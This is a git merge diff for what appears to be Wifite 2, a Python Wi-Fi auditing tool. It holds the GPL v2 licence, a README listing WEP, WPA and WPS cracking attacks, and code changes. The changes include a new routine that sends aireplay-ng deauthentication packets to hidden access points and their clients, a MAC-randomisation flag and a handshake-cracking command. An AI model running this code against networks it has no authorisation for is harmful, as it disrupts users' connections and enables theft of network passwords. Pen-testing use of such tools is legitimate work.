Merge branch 'master' into master
This commit is contained in:
339
LICENSE
Normal file
339
LICENSE
Normal file
@@ -0,0 +1,339 @@
|
|||||||
|
GNU GENERAL PUBLIC LICENSE
|
||||||
|
Version 2, June 1991
|
||||||
|
|
||||||
|
Copyright (C) 1989, 1991 Free Software Foundation, Inc., <http://fsf.org/>
|
||||||
|
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
Everyone is permitted to copy and distribute verbatim copies
|
||||||
|
of this license document, but changing it is not allowed.
|
||||||
|
|
||||||
|
Preamble
|
||||||
|
|
||||||
|
The licenses for most software are designed to take away your
|
||||||
|
freedom to share and change it. By contrast, the GNU General Public
|
||||||
|
License is intended to guarantee your freedom to share and change free
|
||||||
|
software--to make sure the software is free for all its users. This
|
||||||
|
General Public License applies to most of the Free Software
|
||||||
|
Foundation's software and to any other program whose authors commit to
|
||||||
|
using it. (Some other Free Software Foundation software is covered by
|
||||||
|
the GNU Lesser General Public License instead.) You can apply it to
|
||||||
|
your programs, too.
|
||||||
|
|
||||||
|
When we speak of free software, we are referring to freedom, not
|
||||||
|
price. Our General Public Licenses are designed to make sure that you
|
||||||
|
have the freedom to distribute copies of free software (and charge for
|
||||||
|
this service if you wish), that you receive source code or can get it
|
||||||
|
if you want it, that you can change the software or use pieces of it
|
||||||
|
in new free programs; and that you know you can do these things.
|
||||||
|
|
||||||
|
To protect your rights, we need to make restrictions that forbid
|
||||||
|
anyone to deny you these rights or to ask you to surrender the rights.
|
||||||
|
These restrictions translate to certain responsibilities for you if you
|
||||||
|
distribute copies of the software, or if you modify it.
|
||||||
|
|
||||||
|
For example, if you distribute copies of such a program, whether
|
||||||
|
gratis or for a fee, you must give the recipients all the rights that
|
||||||
|
you have. You must make sure that they, too, receive or can get the
|
||||||
|
source code. And you must show them these terms so they know their
|
||||||
|
rights.
|
||||||
|
|
||||||
|
We protect your rights with two steps: (1) copyright the software, and
|
||||||
|
(2) offer you this license which gives you legal permission to copy,
|
||||||
|
distribute and/or modify the software.
|
||||||
|
|
||||||
|
Also, for each author's protection and ours, we want to make certain
|
||||||
|
that everyone understands that there is no warranty for this free
|
||||||
|
software. If the software is modified by someone else and passed on, we
|
||||||
|
want its recipients to know that what they have is not the original, so
|
||||||
|
that any problems introduced by others will not reflect on the original
|
||||||
|
authors' reputations.
|
||||||
|
|
||||||
|
Finally, any free program is threatened constantly by software
|
||||||
|
patents. We wish to avoid the danger that redistributors of a free
|
||||||
|
program will individually obtain patent licenses, in effect making the
|
||||||
|
program proprietary. To prevent this, we have made it clear that any
|
||||||
|
patent must be licensed for everyone's free use or not licensed at all.
|
||||||
|
|
||||||
|
The precise terms and conditions for copying, distribution and
|
||||||
|
modification follow.
|
||||||
|
|
||||||
|
GNU GENERAL PUBLIC LICENSE
|
||||||
|
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||||
|
|
||||||
|
0. This License applies to any program or other work which contains
|
||||||
|
a notice placed by the copyright holder saying it may be distributed
|
||||||
|
under the terms of this General Public License. The "Program", below,
|
||||||
|
refers to any such program or work, and a "work based on the Program"
|
||||||
|
means either the Program or any derivative work under copyright law:
|
||||||
|
that is to say, a work containing the Program or a portion of it,
|
||||||
|
either verbatim or with modifications and/or translated into another
|
||||||
|
language. (Hereinafter, translation is included without limitation in
|
||||||
|
the term "modification".) Each licensee is addressed as "you".
|
||||||
|
|
||||||
|
Activities other than copying, distribution and modification are not
|
||||||
|
covered by this License; they are outside its scope. The act of
|
||||||
|
running the Program is not restricted, and the output from the Program
|
||||||
|
is covered only if its contents constitute a work based on the
|
||||||
|
Program (independent of having been made by running the Program).
|
||||||
|
Whether that is true depends on what the Program does.
|
||||||
|
|
||||||
|
1. You may copy and distribute verbatim copies of the Program's
|
||||||
|
source code as you receive it, in any medium, provided that you
|
||||||
|
conspicuously and appropriately publish on each copy an appropriate
|
||||||
|
copyright notice and disclaimer of warranty; keep intact all the
|
||||||
|
notices that refer to this License and to the absence of any warranty;
|
||||||
|
and give any other recipients of the Program a copy of this License
|
||||||
|
along with the Program.
|
||||||
|
|
||||||
|
You may charge a fee for the physical act of transferring a copy, and
|
||||||
|
you may at your option offer warranty protection in exchange for a fee.
|
||||||
|
|
||||||
|
2. You may modify your copy or copies of the Program or any portion
|
||||||
|
of it, thus forming a work based on the Program, and copy and
|
||||||
|
distribute such modifications or work under the terms of Section 1
|
||||||
|
above, provided that you also meet all of these conditions:
|
||||||
|
|
||||||
|
a) You must cause the modified files to carry prominent notices
|
||||||
|
stating that you changed the files and the date of any change.
|
||||||
|
|
||||||
|
b) You must cause any work that you distribute or publish, that in
|
||||||
|
whole or in part contains or is derived from the Program or any
|
||||||
|
part thereof, to be licensed as a whole at no charge to all third
|
||||||
|
parties under the terms of this License.
|
||||||
|
|
||||||
|
c) If the modified program normally reads commands interactively
|
||||||
|
when run, you must cause it, when started running for such
|
||||||
|
interactive use in the most ordinary way, to print or display an
|
||||||
|
announcement including an appropriate copyright notice and a
|
||||||
|
notice that there is no warranty (or else, saying that you provide
|
||||||
|
a warranty) and that users may redistribute the program under
|
||||||
|
these conditions, and telling the user how to view a copy of this
|
||||||
|
License. (Exception: if the Program itself is interactive but
|
||||||
|
does not normally print such an announcement, your work based on
|
||||||
|
the Program is not required to print an announcement.)
|
||||||
|
|
||||||
|
These requirements apply to the modified work as a whole. If
|
||||||
|
identifiable sections of that work are not derived from the Program,
|
||||||
|
and can be reasonably considered independent and separate works in
|
||||||
|
themselves, then this License, and its terms, do not apply to those
|
||||||
|
sections when you distribute them as separate works. But when you
|
||||||
|
distribute the same sections as part of a whole which is a work based
|
||||||
|
on the Program, the distribution of the whole must be on the terms of
|
||||||
|
this License, whose permissions for other licensees extend to the
|
||||||
|
entire whole, and thus to each and every part regardless of who wrote it.
|
||||||
|
|
||||||
|
Thus, it is not the intent of this section to claim rights or contest
|
||||||
|
your rights to work written entirely by you; rather, the intent is to
|
||||||
|
exercise the right to control the distribution of derivative or
|
||||||
|
collective works based on the Program.
|
||||||
|
|
||||||
|
In addition, mere aggregation of another work not based on the Program
|
||||||
|
with the Program (or with a work based on the Program) on a volume of
|
||||||
|
a storage or distribution medium does not bring the other work under
|
||||||
|
the scope of this License.
|
||||||
|
|
||||||
|
3. You may copy and distribute the Program (or a work based on it,
|
||||||
|
under Section 2) in object code or executable form under the terms of
|
||||||
|
Sections 1 and 2 above provided that you also do one of the following:
|
||||||
|
|
||||||
|
a) Accompany it with the complete corresponding machine-readable
|
||||||
|
source code, which must be distributed under the terms of Sections
|
||||||
|
1 and 2 above on a medium customarily used for software interchange; or,
|
||||||
|
|
||||||
|
b) Accompany it with a written offer, valid for at least three
|
||||||
|
years, to give any third party, for a charge no more than your
|
||||||
|
cost of physically performing source distribution, a complete
|
||||||
|
machine-readable copy of the corresponding source code, to be
|
||||||
|
distributed under the terms of Sections 1 and 2 above on a medium
|
||||||
|
customarily used for software interchange; or,
|
||||||
|
|
||||||
|
c) Accompany it with the information you received as to the offer
|
||||||
|
to distribute corresponding source code. (This alternative is
|
||||||
|
allowed only for noncommercial distribution and only if you
|
||||||
|
received the program in object code or executable form with such
|
||||||
|
an offer, in accord with Subsection b above.)
|
||||||
|
|
||||||
|
The source code for a work means the preferred form of the work for
|
||||||
|
making modifications to it. For an executable work, complete source
|
||||||
|
code means all the source code for all modules it contains, plus any
|
||||||
|
associated interface definition files, plus the scripts used to
|
||||||
|
control compilation and installation of the executable. However, as a
|
||||||
|
special exception, the source code distributed need not include
|
||||||
|
anything that is normally distributed (in either source or binary
|
||||||
|
form) with the major components (compiler, kernel, and so on) of the
|
||||||
|
operating system on which the executable runs, unless that component
|
||||||
|
itself accompanies the executable.
|
||||||
|
|
||||||
|
If distribution of executable or object code is made by offering
|
||||||
|
access to copy from a designated place, then offering equivalent
|
||||||
|
access to copy the source code from the same place counts as
|
||||||
|
distribution of the source code, even though third parties are not
|
||||||
|
compelled to copy the source along with the object code.
|
||||||
|
|
||||||
|
4. You may not copy, modify, sublicense, or distribute the Program
|
||||||
|
except as expressly provided under this License. Any attempt
|
||||||
|
otherwise to copy, modify, sublicense or distribute the Program is
|
||||||
|
void, and will automatically terminate your rights under this License.
|
||||||
|
However, parties who have received copies, or rights, from you under
|
||||||
|
this License will not have their licenses terminated so long as such
|
||||||
|
parties remain in full compliance.
|
||||||
|
|
||||||
|
5. You are not required to accept this License, since you have not
|
||||||
|
signed it. However, nothing else grants you permission to modify or
|
||||||
|
distribute the Program or its derivative works. These actions are
|
||||||
|
prohibited by law if you do not accept this License. Therefore, by
|
||||||
|
modifying or distributing the Program (or any work based on the
|
||||||
|
Program), you indicate your acceptance of this License to do so, and
|
||||||
|
all its terms and conditions for copying, distributing or modifying
|
||||||
|
the Program or works based on it.
|
||||||
|
|
||||||
|
6. Each time you redistribute the Program (or any work based on the
|
||||||
|
Program), the recipient automatically receives a license from the
|
||||||
|
original licensor to copy, distribute or modify the Program subject to
|
||||||
|
these terms and conditions. You may not impose any further
|
||||||
|
restrictions on the recipients' exercise of the rights granted herein.
|
||||||
|
You are not responsible for enforcing compliance by third parties to
|
||||||
|
this License.
|
||||||
|
|
||||||
|
7. If, as a consequence of a court judgment or allegation of patent
|
||||||
|
infringement or for any other reason (not limited to patent issues),
|
||||||
|
conditions are imposed on you (whether by court order, agreement or
|
||||||
|
otherwise) that contradict the conditions of this License, they do not
|
||||||
|
excuse you from the conditions of this License. If you cannot
|
||||||
|
distribute so as to satisfy simultaneously your obligations under this
|
||||||
|
License and any other pertinent obligations, then as a consequence you
|
||||||
|
may not distribute the Program at all. For example, if a patent
|
||||||
|
license would not permit royalty-free redistribution of the Program by
|
||||||
|
all those who receive copies directly or indirectly through you, then
|
||||||
|
the only way you could satisfy both it and this License would be to
|
||||||
|
refrain entirely from distribution of the Program.
|
||||||
|
|
||||||
|
If any portion of this section is held invalid or unenforceable under
|
||||||
|
any particular circumstance, the balance of the section is intended to
|
||||||
|
apply and the section as a whole is intended to apply in other
|
||||||
|
circumstances.
|
||||||
|
|
||||||
|
It is not the purpose of this section to induce you to infringe any
|
||||||
|
patents or other property right claims or to contest validity of any
|
||||||
|
such claims; this section has the sole purpose of protecting the
|
||||||
|
integrity of the free software distribution system, which is
|
||||||
|
implemented by public license practices. Many people have made
|
||||||
|
generous contributions to the wide range of software distributed
|
||||||
|
through that system in reliance on consistent application of that
|
||||||
|
system; it is up to the author/donor to decide if he or she is willing
|
||||||
|
to distribute software through any other system and a licensee cannot
|
||||||
|
impose that choice.
|
||||||
|
|
||||||
|
This section is intended to make thoroughly clear what is believed to
|
||||||
|
be a consequence of the rest of this License.
|
||||||
|
|
||||||
|
8. If the distribution and/or use of the Program is restricted in
|
||||||
|
certain countries either by patents or by copyrighted interfaces, the
|
||||||
|
original copyright holder who places the Program under this License
|
||||||
|
may add an explicit geographical distribution limitation excluding
|
||||||
|
those countries, so that distribution is permitted only in or among
|
||||||
|
countries not thus excluded. In such case, this License incorporates
|
||||||
|
the limitation as if written in the body of this License.
|
||||||
|
|
||||||
|
9. The Free Software Foundation may publish revised and/or new versions
|
||||||
|
of the General Public License from time to time. Such new versions will
|
||||||
|
be similar in spirit to the present version, but may differ in detail to
|
||||||
|
address new problems or concerns.
|
||||||
|
|
||||||
|
Each version is given a distinguishing version number. If the Program
|
||||||
|
specifies a version number of this License which applies to it and "any
|
||||||
|
later version", you have the option of following the terms and conditions
|
||||||
|
either of that version or of any later version published by the Free
|
||||||
|
Software Foundation. If the Program does not specify a version number of
|
||||||
|
this License, you may choose any version ever published by the Free Software
|
||||||
|
Foundation.
|
||||||
|
|
||||||
|
10. If you wish to incorporate parts of the Program into other free
|
||||||
|
programs whose distribution conditions are different, write to the author
|
||||||
|
to ask for permission. For software which is copyrighted by the Free
|
||||||
|
Software Foundation, write to the Free Software Foundation; we sometimes
|
||||||
|
make exceptions for this. Our decision will be guided by the two goals
|
||||||
|
of preserving the free status of all derivatives of our free software and
|
||||||
|
of promoting the sharing and reuse of software generally.
|
||||||
|
|
||||||
|
NO WARRANTY
|
||||||
|
|
||||||
|
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
|
||||||
|
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
|
||||||
|
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
|
||||||
|
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
|
||||||
|
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||||
|
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
|
||||||
|
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
|
||||||
|
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
|
||||||
|
REPAIR OR CORRECTION.
|
||||||
|
|
||||||
|
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||||
|
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
|
||||||
|
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
|
||||||
|
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
|
||||||
|
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
|
||||||
|
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
|
||||||
|
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
|
||||||
|
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
|
||||||
|
POSSIBILITY OF SUCH DAMAGES.
|
||||||
|
|
||||||
|
END OF TERMS AND CONDITIONS
|
||||||
|
|
||||||
|
How to Apply These Terms to Your New Programs
|
||||||
|
|
||||||
|
If you develop a new program, and you want it to be of the greatest
|
||||||
|
possible use to the public, the best way to achieve this is to make it
|
||||||
|
free software which everyone can redistribute and change under these terms.
|
||||||
|
|
||||||
|
To do so, attach the following notices to the program. It is safest
|
||||||
|
to attach them to the start of each source file to most effectively
|
||||||
|
convey the exclusion of warranty; and each file should have at least
|
||||||
|
the "copyright" line and a pointer to where the full notice is found.
|
||||||
|
|
||||||
|
{description}
|
||||||
|
Copyright (C) {year} {fullname}
|
||||||
|
|
||||||
|
This program is free software; you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation; either version 2 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with this program; if not, write to the Free Software Foundation, Inc.,
|
||||||
|
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
|
||||||
|
|
||||||
|
Also add information on how to contact you by electronic and paper mail.
|
||||||
|
|
||||||
|
If the program is interactive, make it output a short notice like this
|
||||||
|
when it starts in an interactive mode:
|
||||||
|
|
||||||
|
Gnomovision version 69, Copyright (C) year name of author
|
||||||
|
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||||
|
This is free software, and you are welcome to redistribute it
|
||||||
|
under certain conditions; type `show c' for details.
|
||||||
|
|
||||||
|
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||||
|
parts of the General Public License. Of course, the commands you use may
|
||||||
|
be called something other than `show w' and `show c'; they could even be
|
||||||
|
mouse-clicks or menu items--whatever suits your program.
|
||||||
|
|
||||||
|
You should also get your employer (if you work as a programmer) or your
|
||||||
|
school, if any, to sign a "copyright disclaimer" for the program, if
|
||||||
|
necessary. Here is a sample; alter the names:
|
||||||
|
|
||||||
|
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
|
||||||
|
`Gnomovision' (which makes passes at compilers) written by James Hacker.
|
||||||
|
|
||||||
|
{signature of Ty Coon}, 1 April 1989
|
||||||
|
Ty Coon, President of Vice
|
||||||
|
|
||||||
|
This General Public License does not permit incorporating your program into
|
||||||
|
proprietary programs. If your program is a subroutine library, you may
|
||||||
|
consider it more useful to permit linking proprietary applications with the
|
||||||
|
library. If this is what you want to do, use the GNU Lesser General
|
||||||
|
Public License instead of this License.
|
||||||
42
README.md
Normal file
42
README.md
Normal file
@@ -0,0 +1,42 @@
|
|||||||
|
Wifite 2
|
||||||
|
========
|
||||||
|
A complete re-write of [`wifite`](https://github.com/derv82/wifite), a Python script for auditing wireless networks.
|
||||||
|
|
||||||
|
What's new?
|
||||||
|
-----------
|
||||||
|
* Cleaner process management -- No longer leaves processes running in the background.
|
||||||
|
* UX: Target access points are refreshed every second instead of every 5 seconds.
|
||||||
|
* UX: Displays realtime Power level (in db) of currently-attacked target
|
||||||
|
|
||||||
|
What's not new?
|
||||||
|
---------------
|
||||||
|
* Backwards compatibility with the original `wifite`'s arguments.
|
||||||
|
* Same text-based interface everyone knows and loves.
|
||||||
|
|
||||||
|
Full Feature List
|
||||||
|
-----------------
|
||||||
|
* Reaver Pixie-Dust attack (`--pixie`)
|
||||||
|
* Reaver WPS PIN attack (`--reaver`)
|
||||||
|
* WPA handshake capture (`--no-reaver`)
|
||||||
|
* Various WEP attacks (replay, chopchop, fragment, etc)
|
||||||
|
* 5Ghz support for wireless cards that support 5ghz (use `-5` option)
|
||||||
|
* Stores cracked passwords and handshakes to the current directory, with metadata about the access point.
|
||||||
|
|
||||||
|
Support
|
||||||
|
-------
|
||||||
|
Wifite2 is designed entirely for the latest version of Kali Rolling release (tested on Kali 2016.2, updated May 2017).
|
||||||
|
|
||||||
|
This means only the latest versions of these programs are supported: Aircrack-ng suite, wash, reaver, tshark, cowpatty.
|
||||||
|
|
||||||
|
Other pen-testing distributions (such as BackBox) have outdated versions of these suites; these distributions are not supported.
|
||||||
|
|
||||||
|
Screenshots
|
||||||
|
-----------
|
||||||
|
|
||||||
|
Decloaking & cracking a hidden access point (via the WPA Handshake attack):
|
||||||
|

|
||||||
|
|
||||||
|
-------------
|
||||||
|
|
||||||
|
Cracking a weak WEP password (using the WEP Replay attack):
|
||||||
|

|
||||||
@@ -9,6 +9,7 @@ from py.AttackWPA import AttackWPA
|
|||||||
from py.AttackWPS import AttackWPS
|
from py.AttackWPS import AttackWPS
|
||||||
from py.CrackResult import CrackResult
|
from py.CrackResult import CrackResult
|
||||||
from py.Handshake import Handshake
|
from py.Handshake import Handshake
|
||||||
|
from py.CrackHandshake import CrackHandshake
|
||||||
|
|
||||||
from json import loads
|
from json import loads
|
||||||
import os
|
import os
|
||||||
@@ -30,6 +31,8 @@ class Wifite(object):
|
|||||||
|
|
||||||
elif Configuration.check_handshake:
|
elif Configuration.check_handshake:
|
||||||
self.check_handshake(Configuration.check_handshake)
|
self.check_handshake(Configuration.check_handshake)
|
||||||
|
elif Configuration.crack_handshake:
|
||||||
|
CrackHandshake()
|
||||||
else:
|
else:
|
||||||
Configuration.get_interface()
|
Configuration.get_interface()
|
||||||
self.run()
|
self.run()
|
||||||
@@ -70,7 +73,6 @@ class Wifite(object):
|
|||||||
hs.analyze()
|
hs.analyze()
|
||||||
Color.pl('')
|
Color.pl('')
|
||||||
|
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
'''
|
'''
|
||||||
Main program.
|
Main program.
|
||||||
@@ -172,7 +174,7 @@ if __name__ == '__main__':
|
|||||||
w.main()
|
w.main()
|
||||||
except Exception, e:
|
except Exception, e:
|
||||||
Color.pl('\n{!} {R}Error:{O} %s{W}' % str(e))
|
Color.pl('\n{!} {R}Error:{O} %s{W}' % str(e))
|
||||||
if Configuration.verbose > 0:
|
if Configuration.verbose > 0 or True:
|
||||||
Color.pl('\n{!} {O}Full stack trace below')
|
Color.pl('\n{!} {O}Full stack trace below')
|
||||||
from traceback import format_exc
|
from traceback import format_exc
|
||||||
Color.p('\n{!} ')
|
Color.p('\n{!} ')
|
||||||
|
|||||||
@@ -7,7 +7,7 @@ from Target import Target
|
|||||||
from Client import Client
|
from Client import Client
|
||||||
from Wash import Wash
|
from Wash import Wash
|
||||||
|
|
||||||
import os
|
import os, time
|
||||||
|
|
||||||
class Airodump(object):
|
class Airodump(object):
|
||||||
''' Wrapper around airodump-ng program '''
|
''' Wrapper around airodump-ng program '''
|
||||||
@@ -42,6 +42,11 @@ class Airodump(object):
|
|||||||
self.ivs_only = ivs_only
|
self.ivs_only = ivs_only
|
||||||
self.skip_wash = skip_wash
|
self.skip_wash = skip_wash
|
||||||
|
|
||||||
|
# For tracking decloaked APs (previously were hidden)
|
||||||
|
self.decloaking = False
|
||||||
|
self.decloaked_targets = []
|
||||||
|
self.decloaked_times = {} # Map of BSSID(str) -> epoch(int) of last deauth
|
||||||
|
|
||||||
|
|
||||||
def __enter__(self):
|
def __enter__(self):
|
||||||
'''
|
'''
|
||||||
@@ -58,12 +63,13 @@ class Airodump(object):
|
|||||||
'airodump-ng',
|
'airodump-ng',
|
||||||
self.interface,
|
self.interface,
|
||||||
'-a', # Only show associated clients
|
'-a', # Only show associated clients
|
||||||
'-w', self.csv_file_prefix # Output file prefix
|
'-w', self.csv_file_prefix, # Output file prefix
|
||||||
|
'--write-interval', '1' # Write every second
|
||||||
]
|
]
|
||||||
if self.channel:
|
if self.channel:
|
||||||
command.extend(['-c', str(self.channel)])
|
command.extend(['-c', str(self.channel)])
|
||||||
elif self.five_ghz:
|
elif self.five_ghz:
|
||||||
command.extend(['--band', 'abg'])
|
command.extend(['--band', 'a'])
|
||||||
|
|
||||||
if self.encryption:
|
if self.encryption:
|
||||||
command.extend(['--enc', self.encryption])
|
command.extend(['--enc', self.encryption])
|
||||||
@@ -145,7 +151,15 @@ class Airodump(object):
|
|||||||
# Sort by power
|
# Sort by power
|
||||||
targets.sort(key=lambda x: x.power, reverse=True)
|
targets.sort(key=lambda x: x.power, reverse=True)
|
||||||
|
|
||||||
|
for old_target in self.targets:
|
||||||
|
for new_target in targets:
|
||||||
|
if old_target.bssid != new_target.bssid: continue
|
||||||
|
if new_target.essid_known and not old_target.essid_known:
|
||||||
|
# We decloaked a target!
|
||||||
|
self.decloaked_targets.append(new_target)
|
||||||
|
|
||||||
self.targets = targets
|
self.targets = targets
|
||||||
|
self.deauth_hidden_targets()
|
||||||
|
|
||||||
return self.targets
|
return self.targets
|
||||||
|
|
||||||
@@ -200,11 +214,11 @@ class Airodump(object):
|
|||||||
|
|
||||||
if target.essid_len == 0:
|
if target.essid_len == 0:
|
||||||
# Ignore empty/blank ESSIDs
|
# Ignore empty/blank ESSIDs
|
||||||
continue
|
pass
|
||||||
|
|
||||||
if target.channel == "-1":
|
if target.channel == "-1":
|
||||||
# Ignore -1 channel
|
# Ignore -1 channel
|
||||||
continue
|
pass
|
||||||
|
|
||||||
targets.append(target)
|
targets.append(target)
|
||||||
return targets
|
return targets
|
||||||
@@ -239,6 +253,41 @@ class Airodump(object):
|
|||||||
i += 1
|
i += 1
|
||||||
return result
|
return result
|
||||||
|
|
||||||
|
def deauth_hidden_targets(self):
|
||||||
|
'''
|
||||||
|
Sends deauths (to broadcast and to each client) for all
|
||||||
|
targets (APs) that have unknown ESSIDs (hidden router names).
|
||||||
|
'''
|
||||||
|
self.decloaking = False
|
||||||
|
# Only deauth if channel is fixed.
|
||||||
|
if self.channel is None: return
|
||||||
|
|
||||||
|
# Reusable deauth command
|
||||||
|
deauth_cmd = [
|
||||||
|
'aireplay-ng',
|
||||||
|
'-0', # Deauthentication
|
||||||
|
'1', # Number of deauths to perform.
|
||||||
|
'--ignore-negative-one'
|
||||||
|
]
|
||||||
|
for target in self.targets:
|
||||||
|
if target.essid_known: continue
|
||||||
|
now = int(time.time())
|
||||||
|
secs_since_decloak = now - self.decloaked_times.get(target.bssid, 0)
|
||||||
|
# Decloak every AP once every 30 seconds
|
||||||
|
if secs_since_decloak < 30: continue
|
||||||
|
self.decloaking = True
|
||||||
|
self.decloaked_times[target.bssid] = now
|
||||||
|
if Configuration.verbose > 1:
|
||||||
|
from Color import Color
|
||||||
|
verbout = " [?] Deauthing %s" % target.bssid
|
||||||
|
verbout += " (broadcast & %d clients)" % len(target.clients)
|
||||||
|
Color.pe("\n{C}" + verbout + "{W}")
|
||||||
|
# Deauth broadcast
|
||||||
|
iface = Configuration.interface
|
||||||
|
Process(deauth_cmd + ['-a', target.bssid, iface])
|
||||||
|
# Deauth clients
|
||||||
|
for client in target.clients:
|
||||||
|
Process(deauth_cmd + ['-c', client.bssid, iface])
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
''' Example usage. wlan0mon should be in Monitor Mode '''
|
''' Example usage. wlan0mon should be in Monitor Mode '''
|
||||||
|
|||||||
@@ -30,6 +30,11 @@ class Arguments(object):
|
|||||||
type=int,
|
type=int,
|
||||||
help=Color.s('Wireless channel to scan (default: {G}all channels{W})'))
|
help=Color.s('Wireless channel to scan (default: {G}all channels{W})'))
|
||||||
glob.add_argument('--channel', help=argparse.SUPPRESS, action='store', dest='channel', type=int)
|
glob.add_argument('--channel', help=argparse.SUPPRESS, action='store', dest='channel', type=int)
|
||||||
|
glob.add_argument('-mac',
|
||||||
|
'---random-mac',
|
||||||
|
action='store_true',
|
||||||
|
dest='random_mac',
|
||||||
|
help=Color.s('Randomize wireless card MAC address (default: {G}off{W})'))
|
||||||
glob.add_argument('-5',
|
glob.add_argument('-5',
|
||||||
'--5ghz',
|
'--5ghz',
|
||||||
action='store_true',
|
action='store_true',
|
||||||
@@ -271,7 +276,10 @@ class Arguments(object):
|
|||||||
dest='check_handshake',
|
dest='check_handshake',
|
||||||
help=Color.s('Check a .cap file (or all hs/*.cap files) for WPA handshakes'))
|
help=Color.s('Check a .cap file (or all hs/*.cap files) for WPA handshakes'))
|
||||||
commands.add_argument('-check', help=argparse.SUPPRESS, action='store', nargs='?', const='<all>', dest='check_handshake')
|
commands.add_argument('-check', help=argparse.SUPPRESS, action='store', nargs='?', const='<all>', dest='check_handshake')
|
||||||
|
commands.add_argument('--crack',
|
||||||
|
action='store_true',
|
||||||
|
dest='crack_handshake',
|
||||||
|
help=Color.s('Show commands to crack a captured handshake'))
|
||||||
return parser.parse_args()
|
return parser.parse_args()
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
|
|||||||
@@ -77,8 +77,8 @@ class AttackWEP(Attack):
|
|||||||
|
|
||||||
while True:
|
while True:
|
||||||
airodump_target = self.wait_for_target(airodump)
|
airodump_target = self.wait_for_target(airodump)
|
||||||
Color.p('\r{+} running {C}%s{W} WEP attack ({G}%d IVs{W}) '
|
Color.pattack("WEP", airodump_target, "%s attack" % attack_name, "%d IVs" % airodump_target.ivs)
|
||||||
% (attack_name, airodump_target.ivs))
|
#Color.p('\r{+} running {C}%s{W} WEP attack ({G}%d IVs{W}) ' % (attack_name, airodump_target.ivs))
|
||||||
|
|
||||||
# Check if we cracked it.
|
# Check if we cracked it.
|
||||||
if aircrack and aircrack.is_cracked():
|
if aircrack and aircrack.is_cracked():
|
||||||
@@ -219,8 +219,7 @@ class AttackWEP(Attack):
|
|||||||
|
|
||||||
attacks_remaining = Configuration.wep_attacks[attack_index + 1:]
|
attacks_remaining = Configuration.wep_attacks[attack_index + 1:]
|
||||||
Color.pl("{+} {G}%d{W} attacks remain ({C}%s{W})" % (len(attacks_remaining), ', '.join(attacks_remaining)))
|
Color.pl("{+} {G}%d{W} attacks remain ({C}%s{W})" % (len(attacks_remaining), ', '.join(attacks_remaining)))
|
||||||
prompt = Color.s('{+} type {G}c{W} to {G}continue{W}' +
|
prompt = Color.s('{+} type {G}c{W} to {G}continue{W} or {R}s{W} to {R}stop{W}: ')
|
||||||
' or {R}s{W} to {R}stop{W}: ')
|
|
||||||
if raw_input(prompt).lower().startswith('s'):
|
if raw_input(prompt).lower().startswith('s'):
|
||||||
return False
|
return False
|
||||||
else:
|
else:
|
||||||
|
|||||||
@@ -34,12 +34,10 @@ class AttackWPA(Attack):
|
|||||||
# First, start Airodump process
|
# First, start Airodump process
|
||||||
with Airodump(channel=self.target.channel,
|
with Airodump(channel=self.target.channel,
|
||||||
target_bssid=self.target.bssid,
|
target_bssid=self.target.bssid,
|
||||||
skip_wash=True,
|
|
||||||
output_file_prefix='wpa') as airodump:
|
output_file_prefix='wpa') as airodump:
|
||||||
|
|
||||||
Color.clear_line()
|
Color.clear_entire_line()
|
||||||
Color.p('\r{+} {C}WPA-handshake attack{W}: ')
|
Color.pattack("WPA", self.target, "Handshake capture", "Waiting for target to appear...")
|
||||||
Color.p('{O}waiting{W} for target to appear...')
|
|
||||||
airodump_target = self.wait_for_target(airodump)
|
airodump_target = self.wait_for_target(airodump)
|
||||||
|
|
||||||
# Get client station MAC addresses
|
# Get client station MAC addresses
|
||||||
@@ -55,9 +53,10 @@ class AttackWPA(Attack):
|
|||||||
while True:
|
while True:
|
||||||
if not deauth_proc or deauth_proc.poll() != None:
|
if not deauth_proc or deauth_proc.poll() != None:
|
||||||
# Clear line only if we're not deauthing right now
|
# Clear line only if we're not deauthing right now
|
||||||
Color.p('\r%s\r' % (' ' * 90))
|
Color.clear_entire_line()
|
||||||
